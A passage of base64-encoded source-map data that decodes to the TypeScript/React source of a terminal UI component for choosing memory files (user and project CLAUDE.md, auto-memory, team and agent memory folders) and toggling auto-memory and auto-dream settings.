IGZyb20gJy4uLy4uL3V0aWxzL2Zvcm1hdC5qcydcbmltcG9ydCB7IHByb2plY3RJc0luR2l0UmVwbyB9IGZyb20gJy4uLy4uL3V0aWxzL21lbW9yeS92ZXJzaW9ucy5qcydcbmltcG9ydCB7IHVwZGF0ZVNldHRpbmdzRm9yU291cmNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2V0dGluZ3Mvc2V0dGluZ3MuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuLi9DdXN0b21TZWxlY3QvaW5kZXguanMnXG5pbXBvcnQgeyBMaXN0SXRlbSB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vTGlzdEl0ZW0uanMnXG5cbi8qIGVzbGludC1kaXNhYmxlIEB0eXBlc2NyaXB0LWVzbGludC9uby1yZXF1aXJlLWltcG9ydHMgKi9cbmNvbnN0IHRlYW1NZW1QYXRocyA9IGZlYXR1cmUoJ1RFQU1NRU0nKVxuICA/IChyZXF1aXJlKCcuLi8uLi9tZW1kaXIvdGVhbU1lbVBhdGhzLmpzJykgYXMgdHlwZW9mIGltcG9ydCgnLi4vLi4vbWVtZGlyL3RlYW1NZW1QYXRocy5qcycpKVxuICA6IG51bGxcbi8qIGVzbGludC1lbmFibGUgQHR5cGVzY3JpcHQtZXNsaW50L25vLXJlcXVpcmUtaW1wb3J0cyAqL1xuXG5pbnRlcmZhY2UgRXh0ZW5kZWRNZW1vcnlGaWxlSW5mbyBleHRlbmRzIE1lbW9yeUZpbGVJbmZvIHtcbiAgaXNOZXN0ZWQ/OiBib29sZWFuXG4gIGV4aXN0czogYm9vbGVhblxufVxuXG4vLyBSZW1lbWJlciBsYXN0IHNlbGVjdGVkIHBhdGhcbmxldCBsYXN0U2VsZWN0ZWRQYXRoOiBzdHJpbmcgfCB1bmRlZmluZWRcblxuY29uc3QgT1BFTl9GT0xERVJfUFJFRklYID0gJ19fb3Blbl9mb2xkZXJfXydcblxudHlwZSBQcm9wcyA9IHtcbiAgb25TZWxlY3Q6IChwYXRoOiBzdHJpbmcpID0+IHZvaWRcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIE1lbW9yeUZpbGVTZWxlY3Rvcih7XG4gIG9uU2VsZWN0LFxuICBvbkNhbmNlbCxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgZXhpc3RpbmdNZW1vcnlGaWxlcyA9IHVzZShnZXRNZW1vcnlGaWxlcygpKVxuXG4gIC8vIENyZWF0ZSBlbnRyaWVzIGZvciBVc2VyIGFuZCBQcm9qZWN0IENMQVVERS5tZCBldmVuIGlmIHRoZXkgZG9uJ3QgZXhpc3RcbiAgY29uc3QgdXNlck1lbW9yeVBhdGggPSBqb2luKGdldENsYXVkZUNvbmZpZ0hvbWVEaXIoKSwgJ0NMQVVERS5tZCcpXG4gIGNvbnN0IHByb2plY3RNZW1vcnlQYXRoID0gam9pbihnZXRPcmlnaW5hbEN3ZCgpLCAnQ0xBVURFLm1kJylcblxuICAvLyBDaGVjayBpZiB0aGVzZSBhcmUgYWxyZWFkeSBpbiB0aGUgZXhpc3RpbmcgZmlsZXNcbiAgY29uc3QgaGFzVXNlck1lbW9yeSA9IGV4aXN0aW5nTWVtb3J5RmlsZXMuc29tZShmID0+IGYucGF0aCA9PT0gdXNlck1lbW9yeVBhdGgpXG4gIGNvbnN0IGhhc1Byb2plY3RNZW1vcnkgPSBleGlzdGluZ01lbW9yeUZpbGVzLnNvbWUoXG4gICAgZiA9PiBmLnBhdGggPT09IHByb2plY3RNZW1vcnlQYXRoLFxuICApXG5cbiAgLy8gRmlsdGVyIG91dCBBdXRvTWVtL1RlYW1NZW0gZW50cnlwb2ludHM6IHRoZXNlIGFyZSBNRU1PUlkubWQgZmlsZXMsIGFuZFxuICAvLyAvbWVtb3J5IGFscmVhZHkgc3VyZmFjZXMgXCJPcGVuIGF1dG8tbWVtb3J5IGZvbGRlclwiIC8gXCJPcGVuIHRlYW0gbWVtb3J5XG4gIC8vIGZvbGRlclwiIG9wdGlvbnMgYmVsb3cuIExpc3RpbmcgdGhlIGVudHJ5cG9pbnQgZmlsZSBzZXBhcmF0ZWx5IGlzIHJlZHVuZGFudC5cbiAgY29uc3QgYWxsTWVtb3J5RmlsZXM6IEV4dGVuZGVkTWVtb3J5RmlsZUluZm9bXSA9IFtcbiAgICAuLi5leGlzdGluZ01lbW9yeUZpbGVzXG4gICAgICAuZmlsdGVyKGYgPT4gZi50eXBlICE9PSAnQXV0b01lbScgJiYgZi50eXBlICE9PSAnVGVhbU1lbScpXG4gICAgICAubWFwKGYgPT4gKHsgLi4uZiwgZXhpc3RzOiB0cnVlIH0pKSxcbiAgICAvLyBBZGQgVXNlciBtZW1vcnkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIC4uLihoYXNVc2VyTWVtb3J5XG4gICAgICA/IFtdXG4gICAgICA6IFtcbiAgICAgICAgICB7XG4gICAgICAgICAgICBwYXRoOiB1c2VyTWVtb3J5UGF0aCxcbiAgICAgICAgICAgIHR5cGU6ICdVc2VyJyBhcyBjb25zdCxcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnLFxuICAgICAgICAgICAgZXhpc3RzOiBmYWxzZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdKSxcbiAgICAvLyBBZGQgUHJvamVjdCBtZW1vcnkgaWYgaXQgZG9lc24ndCBleGlzdFxuICAgIC4uLihoYXNQcm9qZWN0TWVtb3J5XG4gICAgICA/IFtdXG4gICAgICA6IFtcbiAgICAgICAgICB7XG4gICAgICAgICAgICBwYXRoOiBwcm9qZWN0TWVtb3J5UGF0aCxcbiAgICAgICAgICAgIHR5cGU6ICdQcm9qZWN0JyBhcyBjb25zdCxcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnLFxuICAgICAgICAgICAgZXhpc3RzOiBmYWxzZSxcbiAgICAgICAgICB9LFxuICAgICAgICBdKSxcbiAgXVxuXG4gIGNvbnN0IGRlcHRocyA9IG5ldyBNYXA8c3RyaW5nLCBudW1iZXI+KClcblxuICAvLyBDcmVhdGUgb3B0aW9ucyBmb3IgdGhlIHNlbGVjdCBjb21wb25lbnRcbiAgY29uc3QgbWVtb3J5T3B0aW9ucyA9IGFsbE1lbW9yeUZpbGVzLm1hcChmaWxlID0+IHtcbiAgICBjb25zdCBkaXNwbGF5UGF0aCA9IGdldERpc3BsYXlQYXRoKGZpbGUucGF0aClcbiAgICBjb25zdCBleGlzdHNMYWJlbCA9IGZpbGUuZXhpc3RzID8gJycgOiAnIChuZXcpJ1xuXG4gICAgLy8gQ2FsY3VsYXRlIGRlcHRoIGJhc2VkIG9uIHBhcmVudFxuICAgIGNvbnN0IGRlcHRoID0gZmlsZS5wYXJlbnQgPyAoZGVwdGhzLmdldChmaWxlLnBhcmVudCkgPz8gMCkgKyAxIDogMFxuICAgIGRlcHRocy5zZXQoZmlsZS5wYXRoLCBkZXB0aClcbiAgICBjb25zdCBpbmRlbnQgPSBkZXB0aCA+IDAgPyAnICAnLnJlcGVhdChkZXB0aCAtIDEpIDogJydcblxuICAgIC8vIEZvcm1hdCBsYWJlbCBiYXNlZCBvbiB0eXBlXG4gICAgbGV0IGxhYmVsOiBzdHJpbmdcbiAgICBpZiAoXG4gICAgICBmaWxlLnR5cGUgPT09ICdVc2VyJyAmJlxuICAgICAgIWZpbGUuaXNOZXN0ZWQgJiZcbiAgICAgIGZpbGUucGF0aCA9PT0gdXNlck1lbW9yeVBhdGhcbiAgICApIHtcbiAgICAgIGxhYmVsID0gYFVzZXIgbWVtb3J5YFxuICAgIH0gZWxzZSBpZiAoXG4gICAgICBmaWxlLnR5cGUgPT09ICdQcm9qZWN0JyAmJlxuICAgICAgIWZpbGUuaXNOZXN0ZWQgJiZcbiAgICAgIGZpbGUucGF0aCA9PT0gcHJvamVjdE1lbW9yeVBhdGhcbiAgICApIHtcbiAgICAgIGxhYmVsID0gYFByb2plY3QgbWVtb3J5YFxuICAgIH0gZWxzZSBpZiAoZGVwdGggPiAwKSB7XG4gICAgICAvLyBGb3IgY2hpbGQgbm9kZXMgKGltcG9ydGVkIGZpbGVzKSwgc2hvdyBpbmRlbnRlZCB3aXRoIExcbiAgICAgIGxhYmVsID0gYCR7aW5kZW50fUwgJHtkaXNwbGF5UGF0aH0ke2V4aXN0c0xhYmVsfWBcbiAgICB9IGVsc2Uge1xuICAgICAgLy8gRm9yIG90aGVyIG1lbW9yeSBmaWxlcywganVzdCBzaG93IHRoZSBwYXRoXG4gICAgICBsYWJlbCA9IGAke2Rpc3BsYXlQYXRofWBcbiAgICB9XG5cbiAgICAvLyBDcmVhdGUgZGVzY3JpcHRpb24gYmFzZWQgb24gdHlwZSAtIGtlZXAgdGhlIG9yaWdpbmFsIGRlc2NyaXB0aW9ucyBmb3IgYnVpbHQtaW4gdHlwZXNcbiAgICBsZXQgZGVzY3JpcHRpb246IHN0cmluZ1xuICAgIGNvbnN0IGlzR2l0ID0gcHJvamVjdElzSW5HaXRSZXBvKGdldE9yaWdpbmFsQ3dkKCkpXG5cbiAgICBpZiAoZmlsZS50eXBlID09PSAnVXNlcicgJiYgIWZpbGUuaXNOZXN0ZWQpIHtcbiAgICAgIGRlc2NyaXB0aW9uID0gJ1NhdmVkIGluIH4vLmNsYXVkZS9DTEFVREUubWQnXG4gICAgfSBlbHNlIGlmIChcbiAgICAgIGZpbGUudHlwZSA9PT0gJ1Byb2plY3QnICYmXG4gICAgICAhZmlsZS5pc05lc3RlZCAmJlxuICAgICAgZmlsZS5wYXRoID09PSBwcm9qZWN0TWVtb3J5UGF0aFxuICAgICkge1xuICAgICAgZGVzY3JpcHRpb24gPSBgJHtpc0dpdCA/ICdDaGVja2VkIGluIGF0JyA6ICdTYXZlZCBpbid9IC4vQ0xBVURFLm1kYFxuICAgIH0gZWxzZSBpZiAoZmlsZS5wYXJlbnQpIHtcbiAgICAgIC8vIEZvciBpbXBvcnRlZCBmaWxlcyAod2l0aCBALWltcG9ydClcbiAgICAgIGRlc2NyaXB0aW9uID0gJ0AtaW1wb3J0ZWQnXG4gICAgfSBlbHNlIGlmIChmaWxlLmlzTmVzdGVkKSB7XG4gICAgICAvLyBGb3IgbmVzdGVkIGZpbGVzIChkeW5hbWljYWxseSBsb2FkZWQpXG4gICAgICBkZXNjcmlwdGlvbiA9ICdkeW5hbWljYWxseSBsb2FkZWQnXG4gICAgfSBlbHNlIHtcbiAgICAgIGRlc2NyaXB0aW9uID0gJydcbiAgICB9XG5cbiAgICByZXR1cm4ge1xuICAgICAgbGFiZWwsXG4gICAgICB2YWx1ZTogZmlsZS5wYXRoLFxuICAgICAgZGVzY3JpcHRpb24sXG4gICAgfVxuICB9KVxuXG4gIC8vIEFkZCBcIk9wZW4gZm9sZGVyXCIgb3B0aW9ucyBmb3IgYXV0by1tZW1vcnkgYW5kIGFnZW50IG1lbW9yeSBkaXJlY3Rvcmllc1xuICBjb25zdCBmb2xkZXJPcHRpb25zOiBBcnJheTx7XG4gICAgbGFiZWw6IHN0cmluZ1xuICAgIHZhbHVlOiBzdHJpbmdcbiAgICBkZXNjcmlwdGlvbjogc3RyaW5nXG4gIH0+ID0gW11cblxuICBjb25zdCBhZ2VudERlZmluaXRpb25zID0gdXNlQXBwU3RhdGUocyA9PiBzLmFnZW50RGVmaW5pdGlvbnMpXG4gIGlmIChpc0F1dG9NZW1vcnlFbmFibGVkKCkpIHtcbiAgICAvLyBBbHdheXMgc2hvdyBhdXRvLW1lbW9yeSBmb2xkZXIgb3B0aW9uXG4gICAgZm9sZGVyT3B0aW9ucy5wdXNoKHtcbiAgICAgIGxhYmVsOiAnT3BlbiBhdXRvLW1lbW9yeSBmb2xkZXInLFxuICAgICAgdmFsdWU6IGAke09QRU5fRk9MREVSX1BSRUZJWH0ke2dldEF1dG9NZW1QYXRoKCl9YCxcbiAgICAgIGRlc2NyaXB0aW9uOiAnJyxcbiAgICB9KVxuXG4gICAgLy8gVGVhbSBtZW1vcnkgZGlyZWN0bHkgYmVsb3cgYXV0by1tZW1vcnkgKHRlYW0gZGlyIGlzIGEgc3ViZGlyIG9mIGF1dG8gZGlyKVxuICAgIGlmIChmZWF0dXJlKCdURUFNTUVNJykgJiYgdGVhbU1lbVBhdGhzIS5pc1RlYW1NZW1vcnlFbmFibGVkKCkpIHtcbiAgICAgIGZvbGRlck9wdGlvbnMucHVzaCh7XG4gICAgICAgIGxhYmVsOiAnT3BlbiB0ZWFtIG1lbW9yeSBmb2xkZXInLFxuICAgICAgICB2YWx1ZTogYCR7T1BFTl9GT0xERVJfUFJFRklYfSR7dGVhbU1lbVBhdGhzIS5nZXRUZWFtTWVtUGF0aCgpfWAsXG4gICAgICAgIGRlc2NyaXB0aW9uOiAnJyxcbiAgICAgIH0pXG4gICAgfVxuXG4gICAgLy8gQWRkIGFnZW50IG1lbW9yeSBmb2xkZXJzIGZvciBhZ2VudHMgdGhhdCBoYXZlIG1lbW9yeSBjb25maWd1cmVkXG4gICAgZm9yIChjb25zdCBhZ2VudCBvZiBhZ2VudERlZmluaXRpb25zLmFjdGl2ZUFnZW50cykge1xuICAgICAgaWYgKGFnZW50Lm1lbW9yeSkge1xuICAgICAgICBjb25zdCBhZ2VudERpciA9IGdldEFnZW50TWVtb3J5RGlyKGFnZW50LmFnZW50VHlwZSwgYWdlbnQubWVtb3J5KVxuICAgICAgICBmb2xkZXJPcHRpb25zLnB1c2goe1xuICAgICAgICAgIGxhYmVsOiBgT3BlbiAke2NoYWxrLmJvbGQoYWdlbnQuYWdlbnRUeXBlKX0gYWdlbnQgbWVtb3J5YCxcbiAgICAgICAgICB2YWx1ZTogYCR7T1BFTl9GT0xERVJfUFJFRklYfSR7YWdlbnREaXJ9YCxcbiAgICAgICAgICBkZXNjcmlwdGlvbjogYCR7YWdlbnQubWVtb3J5fSBzY29wZWAsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgbWVtb3J5T3B0aW9ucy5wdXNoKC4uLmZvbGRlck9wdGlvbnMpXG5cbiAgLy8gSW5pdGlhbGl6ZSB3aXRoIGxhc3Qgc2VsZWN0ZWQgcGF0aCBpZiBpdCdzIHN0aWxsIGluIHRoZSBvcHRpb25zLCBvdGhlcndpc2UgdXNlIGZpcnN0IG9wdGlvblxuICBjb25zdCBpbml0aWFsUGF0aCA9XG4gICAgbGFzdFNlbGVjdGVkUGF0aCAmJlxuICAgIG1lbW9yeU9wdGlvbnMuc29tZShvcHQgPT4gb3B0LnZhbHVlID09PSBsYXN0U2VsZWN0ZWRQYXRoKVxuICAgICAgPyBsYXN0U2VsZWN0ZWRQYXRoXG4gICAgICA6IG1lbW9yeU9wdGlvbnNbMF0/LnZhbHVlIHx8ICcnXG5cbiAgLy8gVG9nZ2xlIHN0YXRlIChsb2NhbCBjb3B5IG9mIHNldHRpbmdzIHNvIHRoZSBVSSB1cGRhdGVzIGltbWVkaWF0ZWx5KVxuICBjb25zdCBbYXV0b01lbW9yeU9uLCBzZXRBdXRvTWVtb3J5T25dID0gdXNlU3RhdGUoaXNBdXRvTWVtb3J5RW5hYmxlZClcbiAgY29uc3QgW2F1dG9EcmVhbU9uLCBzZXRBdXRvRHJlYW1Pbl0gPSB1c2VTdGF0ZShpc0F1dG9EcmVhbUVuYWJsZWQpXG5cbiAgLy8gRHJlYW0gcm93IGlzIG9ubHkgbWVhbmluZ2Z1bCB3aGVuIGF1dG8tbWVtb3J5IGlzIG9uIChkcmVhbSBjb25zb2xpZGF0ZXNcbiAgLy8gdGhhdCBkaXIpLiBTbmFwc2hvdCBhdCBtb3VudCBzbyB0aGUgcm93IGRvZXNuJ3QgdmFuaXNoIG1pZC1uYXZpZ2F0aW9uXG4gIC8vIGlmIHRoZSB1c2VyIHRvZ2dsZXMgYXV0by1tZW1vcnkgb2ZmLlxuICBjb25zdCBbc2hvd0RyZWFtUm93XSA9IHVzZVN0YXRlKGlzQXV0b01lbW9yeUVuYWJsZWQpXG5cbiAgLy8gRHJlYW0gc3RhdHVzOiBwcmVmZXIgbGl2ZSB0YXNrIHN0YXRlICh0aGlzIHNlc3Npb24gZmlyZWQgaXQpLCBmYWxsIGJhY2tcbiAgLy8gdG8gdGhlIGNyb3NzLXByb2Nlc3MgbG9jayBtdGltZS5cbiAgY29uc3QgaXNEcmVhbVJ1bm5pbmcgPSB1c2VBcHBTdGF0ZShzID0+XG4gICAgT2JqZWN0LnZhbHVlcyhzLnRhc2tzKS5zb21lKFxuICAgICAgdCA9PiB0LnR5cGUgPT09ICdkcmVhbScgJiYgdC5zdGF0dXMgPT09ICdydW5uaW5nJyxcbiAgICApLFxuICApXG4gIGNvbnN0IFtsYXN0RHJlYW1BdCwgc2V0TGFzdERyZWFtQXRdID0gdXNlU3RhdGU8bnVtYmVyIHwgbnVsbD4obnVsbClcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAoIXNob3dEcmVhbVJvdykgcmV0dXJuXG4gICAgdm9pZCByZWFkTGFzdENvbnNvbGlkYXRlZEF0KCkudGhlbihzZXRMYXN0RHJlYW1BdClcbiAgfSwgW3Nob3dEcmVhbVJvdywgaXNEcmVhbVJ1bm5pbmddKVxuXG4gIGNvbnN0IGRyZWFtU3RhdHVzID0gaXNEcmVhbVJ1bm5pbmdcbiAgICA/ICdydW5uaW5nJ1xuICAgIDogbGFzdERyZWFtQXQgPT09IG51bGxcbiAgICAgID8gJycgLy8gc3RhdCBpbiBmbGlnaHRcbiAgICAgIDogbGFzdERyZWFtQXQgPT09IDBcbiAgICAgICAgPyAnbmV2ZXInXG4gICAgICAgIDogYGxhc3QgcmFuICR7Zm9ybWF0UmVsYXRpdmVUaW1lQWdvKG5ldyBEYXRlKGxhc3REcmVhbUF0KSl9YFxuXG4gIC8vIG51bGwgPSBTZWxlY3QgaGFzIGZvY3VzLCAwID0gYXV0by1tZW1vcnksIDEgPSBhdXRvLWRyZWFtIChpZiBzaG93RHJlYW1Sb3cpXG4gIGNvbnN0IFtmb2N1c2VkVG9nZ2xlLCBzZXRGb2N1c2VkVG9nZ2xlXSA9IHVzZVN0YXRlPG51bWJlciB8IG51bGw+KG51bGwpXG4gIGNvbnN0IHRvZ2dsZUZvY3VzZWQgPSBmb2N1c2VkVG9nZ2xlICE9PSBudWxsXG4gIGNvbnN0IGxhc3RUb2dnbGVJbmRleCA9IHNob3dEcmVhbVJvdyA/IDEgOiAwXG5cbiAgZnVuY3Rpb24gaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSgpOiB2b2lkIHtcbiAgICBjb25zdCBuZXdWYWx1ZSA9ICFhdXRvTWVtb3J5T25cbiAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywgeyBhdXRvTWVtb3J5RW5hYmxlZDogbmV3VmFsdWUgfSlcbiAgICBzZXRBdXRvTWVtb3J5T24obmV3VmFsdWUpXG4gICAgbG9nRXZlbnQoJ3Rlbmd1X2F1dG9fbWVtb3J5X3RvZ2dsZWQnLCB7IGVuYWJsZWQ6IG5ld1ZhbHVlIH0pXG4gIH1cblxuICBmdW5jdGlvbiBoYW5kbGVUb2dnbGVBdXRvRHJlYW0oKTogdm9pZCB7XG4gICAgY29uc3QgbmV3VmFsdWUgPSAhYXV0b0RyZWFtT25cbiAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywgeyBhdXRvRHJlYW1FbmFibGVkOiBuZXdWYWx1ZSB9KVxuICAgIHNldEF1dG9EcmVhbU9uKG5ld1ZhbHVlKVxuICAgIGxvZ0V2ZW50KCd0ZW5ndV9hdXRvX2RyZWFtX3RvZ2dsZWQnLCB7IGVuYWJsZWQ6IG5ld1ZhbHVlIH0pXG4gIH1cblxuICB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MoKVxuXG4gIHVzZUtleWJpbmRpbmcoJ2NvbmZpcm06bm8nLCBvbkNhbmNlbCwgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJyB9KVxuXG4gIHVzZUtleWJpbmRpbmcoXG4gICAgJ2NvbmZpcm06eWVzJyxcbiAgICAoKSA9PiB7XG4gICAgICBpZiAoZm9jdXNlZFRvZ2dsZSA9PT0gMCkgaGFuZGxlVG9nZ2xlQXV0b01lbW9yeSgpXG4gICAgICBlbHNlIGlmIChmb2N1c2VkVG9nZ2xlID09PSAxKSBoYW5kbGVUb2dnbGVBdXRvRHJlYW0oKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnQ29uZmlybWF0aW9uJywgaXNBY3RpdmU6IHRvZ2dsZUZvY3VzZWQgfSxcbiAgKVxuICB1c2VLZXliaW5kaW5nKFxuICAgICdzZWxlY3Q6bmV4dCcsXG4gICAgKCkgPT4ge1xuICAgICAgc2V0Rm9jdXNlZFRvZ2dsZShwcmV2ID0+XG4gICAgICAgIHByZXYgIT09IG51bGwgJiYgcHJldiA8IGxhc3RUb2dnbGVJbmRleCA/IHByZXYgKyAxIDogbnVsbCxcbiAgICAgIClcbiAgICB9LFxuICAgIHsgY29udGV4dDogJ1NlbGVjdCcsIGlzQWN0aXZlOiB0b2dnbGVGb2N1c2VkIH0sXG4gIClcbiAgdXNlS2V5YmluZGluZyhcbiAgICAnc2VsZWN0OnByZXZpb3VzJyxcbiAgICAoKSA9PiB7XG4gICAgICBzZXRGb2N1c2VkVG9nZ2xlKHByZXYgPT4gKHByZXYgIT09IG51bGwgJiYgcHJldiA+IDAgPyBwcmV2IC0gMSA6IHByZXYpKVxuICAgIH0sXG4gICAgeyBjb250ZXh0OiAnU2VsZWN0JywgaXNBY3RpdmU6IHRvZ2dsZUZvY3VzZWQgfSxcbiAgKVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgd2lkdGg9XCIxMDAlXCI+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICA8TGlzdEl0ZW0gaXNGb2N1c2VkPXtmb2N1c2VkVG9nZ2xlID09PSAwfT5cbiAgICAgICAgICA8VGV4dD5BdXRvLW1lbW9yeToge2F1dG9NZW1vcnlPbiA/ICdvbicgOiAnb2ZmJ308L1RleHQ+XG4gICAgICAgIDwvTGlzdEl0ZW0+XG4gICAgICAgIHtzaG93RHJlYW1Sb3cgJiYgKFxuICAgICAgICAgIDxMaXN0SXRlbSBpc0ZvY3VzZWQ9e2ZvY3VzZWRUb2dnbGUgPT09IDF9IHN0eWxlZD17ZmFsc2V9PlxuICAgICAgICAgICAgPFRleHQgY29sb3I9e2ZvY3VzZWRUb2dnbGUgPT09IDEgPyAnc3VnZ2VzdGlvbicgOiB1bmRlZmluZWR9PlxuICAgICAgICAgICAgICBBdXRvLWRyZWFtOiB7YXV0b0RyZWFtT24gPyAnb24nIDogJ29mZid9XG4gICAgICAgICAgICAgIHtkcmVhbVN0YXR1cyAmJiA8VGV4dCBkaW1Db2xvcj4gwrcge2RyZWFtU3RhdHVzfTwvVGV4dD59XG4gICAgICAgICAgICAgIHshaXNEcmVhbVJ1bm5pbmcgJiYgYXV0b0RyZWFtT24gJiYgKFxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiDCtyAvZHJlYW0gdG8gcnVuPC9UZXh0PlxuICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvTGlzdEl0ZW0+XG4gICAgICAgICl9XG4gICAgICA8L0JveD5cblxuICAgICAgPFNlbGVjdFxuICAgICAgICBkZWZhdWx0Rm9jdXNWYWx1ZT17aW5pdGlhbFBhdGh9XG4gICAgICAgIG9wdGlvbnM9e21lbW9yeU9wdGlvbnN9XG4gICAgICAgIGlzRGlzYWJsZWQ9e3RvZ2dsZUZvY3VzZWR9XG4gICAgICAgIG9uQ2hhbmdlPXt2YWx1ZSA9PiB7XG4gICAgICAgICAgaWYgKHZhbHVlLnN0YXJ0c1dpdGgoT1BFTl9GT0xERVJfUFJFRklYKSkge1xuICAgICAgICAgICAgY29uc3QgZm9sZGVyUGF0aCA9IHZhbHVlLnNsaWNlKE9QRU5fRk9MREVSX1BSRUZJWC5sZW5ndGgpXG4gICAgICAgICAgICAvLyBFbnN1cmUgZm9sZGVyIGV4aXN0cyBiZWZvcmUgb3BlbmluZyAoaWRlbXBvdGVudDsgc3dhbGxvd1xuICAgICAgICAgICAgLy8gcGVybWlzc2lvbiBlcnJvcnMgdG8gbWF0Y2ggcHJldmlvdXMgYmVoYXZpb3IpXG4gICAgICAgICAgICB2b2lkIG1rZGlyKGZvbGRlclBhdGgsIHsgcmVjdXJzaXZlOiB0cnVlIH0pXG4gICAgICAgICAgICAgIC5jYXRjaCgoKSA9PiB7fSlcbiAgICAgICAgICAgICAgLnRoZW4oKCkgPT4gb3BlblBhdGgoZm9sZGVyUGF0aCkpXG4gICAgICAgICAgICByZXR1cm5cbiAgICAgICAgICB9XG4gICAgICAgICAgbGFzdFNlbGVjdGVkUGF0aCA9IHZhbHVlIC8vIFJlbWVtYmVyIHRoZSBzZWxlY3Rpb25cbiAgICAgICAgICBvblNlbGVjdCh2YWx1ZSlcbiAgICAgICAgfX1cbiAgICAgICAgb25DYW5jZWw9e29uQ2FuY2VsfVxuICAgICAgICBvblVwRnJvbUZpcnN0SXRlbT17KCkgPT4gc2V0Rm9jdXNlZFRvZ2dsZShsYXN0VG9nZ2xlSW5kZXgpfVxuICAgICAgLz5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsU0FBU0EsT0FBTyxRQUFRLFlBQVk7QUFDcEMsT0FBT0MsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsS0FBSyxRQUFRLGFBQWE7QUFDbkMsU0FBU0MsSUFBSSxRQUFRLE1BQU07QUFDM0IsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUFTQyxHQUFHLEVBQUVDLFNBQVMsRUFBRUMsUUFBUSxRQUFRLE9BQU87QUFDaEQsU0FBU0MsY0FBYyxRQUFRLDBCQUEwQjtBQUN6RCxTQUFTQyw4QkFBOEIsUUFBUSwrQ0FBK0M7QUFDOUYsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxTQUFTQyxhQUFhLFFBQVEsb0NBQW9DO0FBQ2xFLFNBQVNDLGNBQWMsRUFBRUMsbUJBQW1CLFFBQVEsdUJBQXVCO0FBQzNFLFNBQVNDLFFBQVEsUUFBUSxtQ0FBbUM7QUFDNUQsU0FBU0Msa0JBQWtCLFFBQVEsb0NBQW9DO0FBQ3ZFLFNBQVNDLHNCQUFzQixRQUFRLCtDQUErQztBQUN0RixTQUFTQyxXQUFXLFFBQVEseUJBQXlCO0FBQ3JELFNBQVNDLGlCQUFpQixRQUFRLHNDQUFzQztBQUN4RSxTQUFTQyxRQUFRLFFBQVEsd0JBQXdCO0FBQ2pELFNBQVNDLGNBQWMsRUFBRSxLQUFLQyxjQUFjLFFBQVEseUJBQXlCO0FBQzdFLFNBQVNDLHNCQUFzQixRQUFRLHlCQUF5QjtBQUNoRSxTQUFTQyxjQUFjLFFBQVEscUJBQXFCO0FBQ3BELFNBQVNDLHFCQUFxQixRQUFRLHVCQUF1QjtBQUM3RCxTQUFTQyxrQkFBa0IsUUFBUSxnQ0FBZ0M7QUFDbkUsU0FBU0MsdUJBQXVCLFFBQVEsa0NBQWtDO0FBQzFFLFNBQVNDLE1BQU0sUUFBUSwwQkFBMEI7QUFDakQsU0FBU0MsUUFBUSxRQUFRLDhCQUE4Qjs7QUFFdkQ7QUFDQSxNQUFNQyxZQUFZLEdBQUc5QixPQUFPLENBQUMsU0FBUyxDQUFDLEdBQ2xDK0IsT0FBTyxDQUFDLDhCQUE4QixDQUFDLElBQUksT0FBTyxPQUFPLDhCQUE4QixDQUFDLEdBQ3pGLElBQUk7QUFDUjs7QUFFQSxVQUFVQyxzQkFBc0IsU0FBU1YsY0FBYyxDQUFDO0VBQ3REVyxRQUFRLENBQUMsRUFBRSxPQUFPO0VBQ2xCQyxNQUFNLEVBQUUsT0FBTztBQUNqQjs7QUFFQTtBQUNBLElBQUlDLGdCQUFnQixFQUFFLE1BQU0sR0FBRyxTQUFTO0FBRXhDLE1BQU1DLGtCQUFrQixHQUFHLGlCQUFpQjtBQUU1QyxLQUFLQyxLQUFLLEdBQUc7RUFDWEMsUUFBUSxFQUFFLENBQUNDLElBQUksRUFBRSxNQUFNLEVBQUUsR0FBRyxJQUFJO0VBQ2hDQyxRQUFRLEVBQUUsR0FBRyxHQUFHLElBQUk7QUFDdEIsQ0FBQztBQUVELE9BQU8sU0FBQUMsbUJBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBNEI7SUFBQU4sUUFBQTtJQUFBRTtFQUFBLElBQUFFLEVBRzNCO0VBQ04sTUFBQUcsbUJBQUEsR0FBNEJ4QyxHQUFHLENBQUNnQixjQUFjLENBQUMsQ0FBQyxDQUFDO0VBR2pELE1BQUF5QixjQUFBLEdBQXVCM0MsSUFBSSxDQUFDb0Isc0JBQXNCLENBQUMsQ0FBQyxFQUFFLFdBQVcsQ0FBQztFQUNsRSxNQUFBd0IsaUJBQUEsR0FBMEI1QyxJQUFJLENBQUNLLGNBQWMsQ0FBQyxDQUFDLEVBQUUsV0FBVyxDQUFDO0VBRzdELE1BQUF3QyxhQUFBLEdBQXNCSCxtQkFBbUIsQ0FBQUksSUFBSy